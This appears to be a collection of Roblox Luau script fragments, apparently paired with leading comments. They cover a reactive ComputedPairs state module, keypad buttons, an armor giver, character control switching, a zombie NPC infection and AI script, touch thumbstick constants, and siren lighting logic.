-- restore old dependencies, because the new dependencies may be corrupt
keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet
logErrorNonFatal("pairsProcessorError", newOutValue)
end
end
-- save dependency values and add to main dependency set
for dependency in pairs(keyData.dependencySet) do
keyData.dependencyValues[dependency] = dependency:get(false)
self.dependencySet[dependency] = true
dependency.dependentSet[self] = true
end
end
-- STEP 2: find keys that were removed
for key in pairs(oldInput) do
-- if this key doesn't have an equivalent in the new input table
if newInput[key] == nil then
-- clean up the old calculated value
local oldOutValue = oldOutput[key]
if oldOutValue ~= nil then
local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
if not destructOK then
logErrorNonFatal("pairsDestructorError", err)
end
end
-- make the old input match the new input
oldInput[key] = nil
-- remove the reference to the old output value
oldOutput[key] = nil
-- remove the value from the table we give to the user
newOutput[key] = nil
-- remove key data
self._keyData[key] = nil
end
end
return didChange
end
local function ComputedPairs(
inputTable: Types.StateOrValue<{[any]: any}>,
processor: (any) -> any,
destructor: (any) -> ()?
)
-- if destructor function is not defined, use the default cleanup function
if destructor == nil then
destructor = cleanup
end
local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function"
local self = setmetatable({
type = "State",
kind = "ComputedPairs",
dependencySet = {},
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_oldDependencySet = {},
_processor = processor,
_destructor = destructor,
_inputIsState = inputIsState,
_inputTable = inputTable,
_oldInputTable = {},
_outputTable = {},
_oldOutputTable = {},
_keyData = {}
}, CLASS_METATABLE)
initDependency(self)
self:update()
return self
end
return ComputedPairs
|
------------------------------------------
--Digets
|
function Click0()
Input = Input..0
print("0")
script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2767674"
wait(0.1)
script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2761903"
end
script.Parent.B0.ClickDetector.MouseClick:connect(Click0)
function Click1()
Input = Input..1
print("1")
script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2767677"
wait(0.1)
script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2761913"
end
script.Parent.B1.ClickDetector.MouseClick:connect(Click1)
function Click2()
Input = Input..2
print("2")
script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2767680"
wait(0.1)
script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2761922"
end
script.Parent.B2.ClickDetector.MouseClick:connect(Click2)
function Click3()
Input = Input..3
print("3")
script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2767686"
wait(0.1)
script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2761927"
end
script.Parent.B3.ClickDetector.MouseClick:connect(Click3)
function Click4()
Input = Input..4
print("4")
script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2767693"
wait(0.1)
script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2761938"
end
script.Parent.B4.ClickDetector.MouseClick:connect(Click4)
function Click5()
Input = Input..5
print("5")
script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2767695"
wait(0.1)
script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2761943"
end
script.Parent.B5.ClickDetector.MouseClick:connect(Click5)
function Click6()
Input = Input..6
print("6")
script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2767699"
wait(0.1)
script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2761948"
end
script.Parent.B6.ClickDetector.MouseClick:connect(Click6)
function Click7()
Input = Input..7
print("7")
script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2767701"
wait(0.1)
script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2761956"
end
script.Parent.B7.ClickDetector.MouseClick:connect(Click7)
function Click8()
Input = Input..8
print("8")
script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2767707"
wait(0.1)
script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2761961"
end
script.Parent.B8.ClickDetector.MouseClick:connect(Click8)
function Click9()
Input = Input..9
print("9")
script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2767714"
wait(0.1)
script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2761971"
end
script.Parent.B9.ClickDetector.MouseClick:connect(Click9)
|
-- Determine whether we're in tool or plugin mode
|
if Tool:IsA 'Tool' then
ToolMode = 'Tool';
elseif Tool:IsA 'Model' then
ToolMode = 'Plugin';
end;
|
-- I have seen this script so many times in many free models that
-- I don't know who made this in the first place, I just modified
-- some parts of the script to serve my purposes.
|
function onClicked(hit)
print(hit.Name)
print(hit.Parent.Name)
if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Chest") == nil then
local g = script.Parent.Parent.Chest:clone()
g.Parent = hit.Character
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Character.Torso
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
if h[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Headgear") == nil then
local g = script.Parent.Parent.Headgear:clone()
g.Parent = hit.Character
local C = g:GetChildren()
for i=1, #C do
if C[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then
local W = Instance.new("Weld")
W.Part0 = g.Middle
W.Part1 = C[i]
local CJ = CFrame.new(g.Middle.Position)
local C0 = g.Middle.CFrame:inverse()*CJ
local C1 = C[i].CFrame:inverse()*CJ
W.C0 = C0
W.C1 = C1
W.Parent = g.Middle
end
local Y = Instance.new("Weld")
Y.Part0 = hit.Parent.Head
Y.Part1 = g.Middle
Y.C0 = CFrame.new(0, 0, 0)
Y.Parent = Y.Part0
end
local h = g:GetChildren()
for i = 1, # h do
if h[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "MeshPart" then
h[i].Anchored = false
h[i].CanCollide = false
end
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- This function should handle all controller enabling and disabling without relying on
-- ControlModule:Enable() and Disable()
|
function ControlModule:SwitchToController(controlModule)
-- controlModule is invalid, just disable current controller
if not controlModule then
if self.activeController then
self.activeController:Enable(false)
end
self.activeController = nil
self.activeControlModule = nil
return
end
-- first time switching to this control module, should instantiate it
if not self.controllers[controlModule] then
self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY)
end
-- switch to the new controlModule
if self.activeController ~= self.controllers[controlModule] then
if self.activeController then
self.activeController:Enable(false)
end
self.activeController = self.controllers[controlModule]
self.activeControlModule = controlModule -- Only used to check if controller switch is necessary
if self.touchControlFrame and (self.activeControlModule == ClickToMove
or self.activeControlModule == TouchThumbstick
or self.activeControlModule == DynamicThumbstick) then
if not self.controllers[TouchJump] then
self.controllers[TouchJump] = TouchJump.new()
end
self.touchJumpController = self.controllers[TouchJump]
self.touchJumpController:Enable(true, self.touchControlFrame)
else
if self.touchJumpController then
self.touchJumpController:Enable(false)
end
end
self:UpdateActiveControlModuleEnabled()
end
end
function ControlModule:OnLastInputTypeChanged(newLastInputType)
if lastInputType == newLastInputType then
warn("LastInputType Change listener called with current type.")
end
lastInputType = newLastInputType
if lastInputType == Enum.UserInputType.Touch then
-- TODO: Check if touch module already active
local touchModule, success = self:SelectTouchModule()
if success then
while not self.touchControlFrame do
wait()
end
self:SwitchToController(touchModule)
end
elseif computerInputTypeToModuleMap[lastInputType] ~= nil then
local computerModule = self:SelectComputerMovementModule()
if computerModule then
self:SwitchToController(computerModule)
end
end
self:UpdateTouchGuiVisibility()
end
|
--//Arms\\--
|
owner=script.Parent.Parent.Name
local cantouch
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h and h.Name~="Zombie" and h.Parent:findFirstChild("Torso") then
h.Name="Zombie"
if not game.Players:GetPlayerFromCharacter(h.Parent) then
h.Parent.Name="Zombie"
end
if h.Parent.Name~=owner then
if h.Parent:findFirstChild("zarm")~=nil then return end
cantouch=0
local larm=h.Parent:findFirstChild("Left Arm")
local rarm=h.Parent:findFirstChild("Right Arm")
if larm~=nil then
larm:remove()
end
if rarm~=nil then
rarm:remove()
end
local zee=Instance.new("Part", workspace)
zee.Size=Vector3.new(1,2,1)
zee.Color=Color3.fromRGB(161, 196, 140)
zee.TopSurface=Enum.SurfaceType.Smooth
zee.BottomSurface=Enum.SurfaceType.Smooth
zee.Name="Left Arm"
if zee~=nil then
local zlarm=zee
local zrarm=zee:clone()
zrarm.Name="Right Arm"
if zlarm~=nil then
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)*CFrame.Angles(1.6,0,1.5)
zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zlarm.Parent=h.Parent
zrarm.Parent=h.Parent
local Ef=Instance.new("WeldConstraint", zrarm)
Ef.Enabled=false
Ef.Part0=zrarm
Ef.Part1=h.Parent.Torso
Ef.Enabled=true
Ef=Instance.new("WeldConstraint", zlarm)
Ef.Enabled=false
Ef.Part0=zlarm
Ef.Part1=h.Parent.Torso
Ef.Enabled=true
Ef=nil
zlarm.Anchored=false
zrarm.Anchored=false
for i,v in pairs(h.Parent:GetDescendants()) do
if v:IsA("Script") then
v.Disabled=true
v:Destroy()
elseif v:IsA("Tool") or v:IsA("BodyPosition") or v:IsA("BodyGyro") then
v:Destroy()
end
local ZombieAI=script:Clone()
ZombieAI.Disabled=true
ZombieAI.Parent=h.Parent
delay(0.2, function()
ZombieAI.Disabled=false
end)
end
wait(0.1)
h.Parent.Head.Color=zee.Color
else return end
end
wait(1)
cantouch=1
end
end
end
end
do -- Set Arms --
do
local c=script.Parent:GetChildren()
for i=1,#c do
if c[i].Name:lower():find("arm") then
c[i].Touched:Connect(onTouched)
end
end
end
f=script.Parent.ChildAdded:Connect(function(v)
if v.Name:lower():find("arm") then
v.Touched:Connect(onTouched)
end
end)
task.delay(1,function()
if f then f:Disconnect() end
end)
end
if not Player then
if script.Parent.Config:WaitForChild("AntiExploit").Value==true then
script.Parent:FindFirstChildOfClass("Part"):SetNetworkOwner(nil)
end
Sight=script.Parent.Config:WaitForChild("Sight")
garbage={}
do
local stuff={}
garbage.add=function(...)
local stuf:any={...}
for i=1,#stuf do
table.insert(stuff,stuf[i])
end
table.clear(stuf)
stuf=nil
end
garbage.nuke=function()
for i=1,#stuff do
local v=stuff[i]
if typeof(v)=="RBXScriptConnection" then
v:Disconnect()
stuff[i]=nil
elseif typeof(v)=="Instance" then
pcall(game.Destroy,v)
stuff[i]=nil
elseif typeof(v)=="thread" then
pcall(coroutine.yield,v)
task.delay(5,function()
pcall(coroutine.close,v)
stuff[i]=nil
end)
elseif typeof(v)=="function" then
v()
stuff[i]=nil
end
v=nil
end
end
end
-- Better Model-list, Capable of finding ALL humanoid-models and removes them from memory on remove
-- Greatly improved.
local list
do -- Creates a new Scope for the Humanoid List, to not clutter the global space.
list={}
local function parse_instance(inst) -- Parses an Instance to be set in the model.
if inst:IsA("Humanoid") then -- Only goes through if it's a Humanoid.
local model=inst.Parent -- Grabs the model.
if model~=workspace then -- Assures it isnt grabbing the workspace.
table.insert(list,model) -- Inserts it into the list.
local Connector -- Predefines Connector so it can be Disconnected.
Connector=model.AncestryChanged:Connect(function() -- Created a Connection on AncestryChanged, so if the Humanoids ancestry is removed from Workspace, it nolonger see's them.
if not model:IsDescendantOf(workspace) then -- Checks if not descendant of workspace.
table.remove(list,table.find(model)) -- Removes the model from the list
model,inst=nil,nil -- Clears all memory out, allowing garbage collection.
Connector:Disconnect() -- Disconnects connector forever.
Connector=nil; -- Finally removes Connector.
end
end)
end
end
end
do
local a=workspace:GetDescendants() -- Gets all workspace descendants
for i=1,#a do -- Uses a Numeric loop, since it's fastest.
parse_instance(a[i])
end
table.clear(a)
a=nil
end
garbage.add(function()
list=nil
end,workspace.DescendantAdded:Connect(parse_instance))
--[[
Unlike most methods of obtaining humanoids, this can safely obtain ALL humanoids without significant lag,
most other methods involve looping through all workspace children, or descendants!
This only loops once on startup, and relies on DescendantAdded thus resulting in less calls and if-statements.
--]]
end
--//Functions\\--
function FindNearestHumanoid() -- Circles through the "List" shown just above the function.
local Closest=nil
local ClosestBP=nil
for i,v in pairs(list) do
if v.Name=="Zombie" then --Removes players and zombies from list entirely.
table.remove(list,i)
end
local PHumanoid = v:FindFirstChildOfClass("Humanoid")
if PHumanoid and PHumanoid.Name~=Humanoid.Name then
if not Closest or not ClosestBP then
Closest=v
ClosestBP=v:FindFirstChildOfClass("Part")
elseif Closest and ClosestBP then
local MaybeClosestsBP=v:FindFirstChildOfClass("Part")
if MaybeClosestsBP and MaybeClosestsBP:IsA("BasePart") then
if (ClosestBP.Position-larm.Position).Magnitude>(MaybeClosestsBP.Position-larm.Position).Magnitude then
Closest=v
ClosestBP=v:FindFirstChildOfClass("Part")
end
end
end
end
end
return Closest,ClosestBP
end
--//Alive\\--
Alive=true
garbage.add(Humanoid.Died:Connect(function()
Alive=false
end),Humanoid.AncestryChanged:Connect(function()
if not Humanoid:IsDescendantOf(workspace) then
Alive=false
end
end),script.Parent.ChildRemoved:Connect(function(E)
if E==larm then
larm=script.Parent:FindFirstChildOfClass("Part")
if not larm and Humanoid then
Humanoid.Health=0
Alive=false
else
script.Parent:Destroy()
end
end
end))
while Alive do
if larm then
local Model,Part=FindNearestHumanoid()
if Model and Part and (Part.Position-larm.Position).Magnitude<Sight.Value then
Humanoid:MoveTo(Part.Position,Part)
else
Humanoid:MoveTo(larm.Position+Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)))
end
end
task.wait(math.random(1,10))
end
do
local c=script.Parent:GetChildren()
for i=1,#c do
if c[i]~=script then
c[i]:Destroy()
end
end
end
wait(5)
script.Parent:Destroy()
end
|
--!nonstrict
--[[ Constants ]]
|
--
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local TOUCH_CONTROLS_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png"
local DYNAMIC_THUMBSTICK_ACTION_NAME = "DynamicThumbstickAction"
local DYNAMIC_THUMBSTICK_ACTION_PRIORITY = Enum.ContextActionPriority.High.Value
local MIDDLE_TRANSPARENCIES = {
1 - 0.89,
1 - 0.70,
1 - 0.60,
1 - 0.50,
1 - 0.40,
1 - 0.30,
1 - 0.25
}
local NUM_MIDDLE_IMAGES = #MIDDLE_TRANSPARENCIES
local FADE_IN_OUT_BACKGROUND = true
local FADE_IN_OUT_MAX_ALPHA = 0.35
local SAFE_AREA_INSET_MAX = 100
local FADE_IN_OUT_HALF_DURATION_DEFAULT = 0.3
local FADE_IN_OUT_BALANCE_DEFAULT = 0.5
local ThumbstickFadeTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local FFlagUserDynamicThumbstickMoveOverButtons do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickMoveOverButtons2")
end)
FFlagUserDynamicThumbstickMoveOverButtons = success and result
end
local FFlagUserDynamicThumbstickSafeAreaUpdate do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickSafeAreaUpdate")
end)
FFlagUserDynamicThumbstickSafeAreaUpdate = success and result
end
local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end
|
--LIGHTING FUNCTIONS
|
script.Parent.OnServerEvent:connect(function(pl,n) if lt~=1 then pr = true else pr=false end lt=n
if lt == 0 then
RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
UpdateLt(1,white)
UpdatePt(false,white)
StopMt(pr)
repeat wait() until lt~=0
elseif (lt == 1 or lt == 2) then
wait(.375)
local color
if lt==1 then color=blue elseif lt==2 then color=red end
RefMt.DesiredAngle = RefMt.CurrentAngle%math.rad(360)
RefMt.CurrentAngle = RefMt.CurrentAngle%math.rad(360)
UpdateLt(.25,color)
UpdatePt(true,color)
UpdateMt(0,math.rad(225),4)
wait(.75)
repeat
if lt==1 then color=blue elseif lt==2 then color=red end
UpdateLt(.25,color)
UpdatePt(true,color)
UpdateMt(0,math.rad(135),0)
wait(.5)
if lt~=1 and lt~=2 then break end
if lt==1 then color=blue elseif lt==2 then color=red end
UpdateLt(.25,color)
UpdatePt(true,color)
UpdateMt(0,math.rad(225),0)
wait(.5)
until (lt~=1 and lt~= 2)
elseif lt == 3 then
wait(.5)
UpdateLt(.25,red)
UpdatePt(true,red)
UpdateMt(0,9e9,1)
repeat wait() until lt~=3
end
end)
|
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